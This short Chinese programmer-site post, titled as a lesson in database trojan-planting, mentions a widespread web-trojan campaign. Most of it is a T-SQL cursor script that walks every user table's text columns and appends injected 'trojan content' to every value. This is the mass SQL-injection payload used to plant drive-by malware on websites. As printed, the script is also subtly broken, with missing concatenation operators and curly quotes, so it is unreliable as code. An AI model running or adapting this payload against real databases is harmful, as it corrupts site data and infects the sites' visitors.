欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

教你数据库挂马

程序员文章站 2022-03-29 14:35:41
以前说过的趋势挂马事件,MS这个挂马方法已经流行了很久,从去年就大规模开始了,在网上可以搜到很多痕迹。 SQL语句如下: 用游标遍历所有表里如下数据类型的字段,然后UPD... 08-10-08...
以前说过的趋势挂马事件,ms这个挂马方法已经流行了很久,从去年就大规模开始了,在网上可以搜到很多痕迹。

sql语句如下:

用游标遍历所有表里如下数据类型的字段,然后update挂马。(全部是允许写入字符的字段)


xtype=99 ntext

xtype=35 text

xtype=231 nvarchar

xtype=167 varchar

———————yd的分割——————————–

declare @t varchar(255),
@c varchar(255)
declare table_cursor cursor for
select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec(’update [’ @t ’] set [’ @c ’]=
rtrim(convert(varchar,[’ @c ’]))
”挂马内容”’)
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor

———————yd的分割——————————–